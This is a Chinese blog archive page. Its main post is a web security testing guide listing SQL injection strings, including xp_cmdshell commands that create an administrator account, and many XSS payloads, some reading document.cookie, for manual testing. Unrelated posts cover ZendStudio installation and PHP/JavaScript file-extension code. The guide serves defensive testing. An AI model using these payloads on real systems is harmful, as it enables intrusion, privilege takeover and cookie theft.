月度归档:2013年03月

web安全测试方法

工具扫描

目前web安全扫描器针对 XSS、SQL injection 、OPEN redirect 、PHP File Include漏洞的检测技术已经比较成熟。

商业软件web安全扫描器:有IBM Rational Appscan、WebInspect、Acunetix WVS
免费的扫描器:W3af 、Skipfish 等

根据业务资金,可以考虑购买商业扫描软件,也可以使用免费的,各有各的好处。

首页可以对网站进行大规模的扫描操作,工具扫描确认没有漏洞或者漏洞已经修复后,再进行以下手工检测。

手工检测

对于CSRF、越权访问、文件上传、修改密码 等漏洞,难以实现自动化检测的效果,这是因为这些漏洞涉及系统逻辑或业务逻辑,有时候还需要人机交互参与页面流程,因此 这类漏洞的检测更多的需要依靠手动测试完成。
手工检测网站URL、后台登陆是否具有SQL注入

Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)

XSS:对于get请求的URL一般漏洞扫描软件都可扫描到是否存在XSS漏洞。(但是软件没有完美的,也有误报,或者有遗漏的情况)

对于POST的请求的(例如留言板,评论,等等),就是要在输入框输入的情况,则要进行以下测试

 ★~!@#$%^&*()_+<>,./?;'"[]{}\-
 ★%3Cinput /%3E
 ★%3Cscript%3Ealert('XSS')%3C/script%3E
 ★<input type="text"/>
 ★<input/>
 ★<input/  
 ★<script>alert('xss')</script>
 ★<script>alert('xss');</script>
 ★</script><script>alert(‘xss’)</script>
 ★javascript:alert(/xss/)
 ★javascrip&#116&#58alert(/xss/)
 ★<img src="#" onerror=alert(/xss/)> 
 ★<img src="#" style="Xss:expression(alert(/xss/));"> 
 ★<img src="#"/**/onerror=alert(/xss/) width=100>
 ★=’><script>alert(document.cookie)</script> 
 ★1.jpg" onmouseover="alert('xss')
 ★"></a><script>alert(‘xss’);</script>
 ★http://xxx';alert('xss');var/ a='a
 ★’”>xss&<
 ★"onmouseover=alert('hello');"
 ★&{alert('hello');}
  ★>"'><script>alert(‘XSS')</script>
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>
 ★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
  ★%22%2Balert(%27XSS%27)%2B%22
  ★<table background="javascript:alert(([code])"></table><object type=text/html data="javascript:alert(([code]);"></object><body onload="javascript:alert(([code])"></body>
  ★a?<script>alert(’Vulnerable’)</script>
 ★<!--'">&:
  var from = ‘$!rundata.Parameters.getString(’from’)';
  var from =;hackerFunction(document.cookie);;

 上面这些同样适用于GET请求
经过以上测试,如果发现输入框代码溢出,则说明可能存在XSS漏洞,说明要进行过滤.

关于越权操作的问题
例如A用户的个人资料ID为1 B用户个人资料ID为2,我通过登陆B用户,把ID修改为1 就可以查看到用户A的个人资料,这就是越权。

测试方法:通过查看URL的get参数对那些类似明显的顺序数字 进行修改,看是否能越权
访问。

关于登陆安全的问题
除了SQL注入,还有找回密码功能会出现安全问题
邮箱找回密码测试方法
先从邮箱参数修改开始,看填入用户名和自己修改的邮箱账号,看是否能收到邮箱,收到后是否能修改。

如果不能修改邮箱参数那么,我们就让它邮箱找回,接着点击邮箱内修改密码的链接,看链接的邮箱参数是否可以修改,用户名是否可以修改,加密的urlcode 是否可以逆向解密。

如果是手机找回密码功能:则测试手机收到的验证码是否是纯数字、纯字母的,如果是请修改为字母与数字的组合。

关于用开源程序的问题

关注网上你所用的开源程序的官网更新情况和安全事件。

关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
下载:
避免输入:\..\web.
修改命名后缀。

输入验证
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:

1.输入<html”>”gfhd</html>,看是否出错;
2.输入<input type=”text” name=”user” onclick="alert(1)"/>,看是否出现文本框;
3.输入<script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
4.输入”><script type=”text/javascript”>alert(“提示”)</script>看是否出现提示。
5.输入 ”><script><” 看是否出现代码溢出


页面权限泄露

测试在不登陆的情况下是否可以访问到后台的页面,这个只要把后台的目录的URL全部浏览一遍即可

关于任意文件下载

查看上传的图片文件是否可以删除,如果可以删除,查看删除的URL里面的参数是否可以修改

对于本地包含 和 远程包含漏洞的测试

本人推荐有扫描器,目前手工测试存在时间上的开支问题

ubuntu下安装ZendStudio以及使用命令运行

ZendStudio下载地址:http://www.zendstudio.net/zend-studio-all-in-one-download/

下载OK后,我把该文件复制到/var/software 目录里,其实还可以放到别的目录里

接着解压文件: tar zxvf xxx.tar.gz

然后进入Zendstudio 目录:cd ZendStudio

找到Zendstudio文件,然后创建快捷方式到/usr/bin/目录里 :

ln -s /var/software/ZendStuio/ZendStudio /usr/bin/

接着随便进入个目录,输入ZendStudio命令即可打开。

 

关于获取文件名后缀的方法(包含js&php)

第一种方法通过pathinfo()函数

<?php
 
$filename="test.jpg";
$filename=pathinfo($filename);
echo $filename[extension];
 
?>

第二种方法通过strpos()函数

<?php
$filename="test.jpg";
$filename=substr($filename, strpos($filename, ".")+1);
echo $filename;
?>

第三种方法通过explode()函数

<?php
$filename="test.jpg";
$filename=explode(".", $filename);
$count=count($filename)-1;
echo $filename[$count];
?>

第四种方法通过strrchr()函数

<?php
$filename="test.jpg";
$filename=strrchr($filename,".");
echo substr($filename, 1);
?>

下面将介绍javascript获取文件名后缀的方法

<script type="text/javascript">
var filename="test.jpg";
Farray=filename.split(".");
lg=Farray.length;
document.write(Farray[lg-1]);
 
</script>

js加载fckeditor编辑器源码

<script type=”text/javascript”>
var ofckeditor=new FCKeditor(‘content’);   //新建对象
ofckeditor.BasePath=”fckeditor/;  //设置编辑器路径 (设置好后,访问该页面会出现fckeditor/editor/…)
ofckeditor.Height=300;   //设置编辑器的高度
ofckeditor.Value=this is a test”;  //初始化值
ofckeditor.Create();  //创建对象
</script>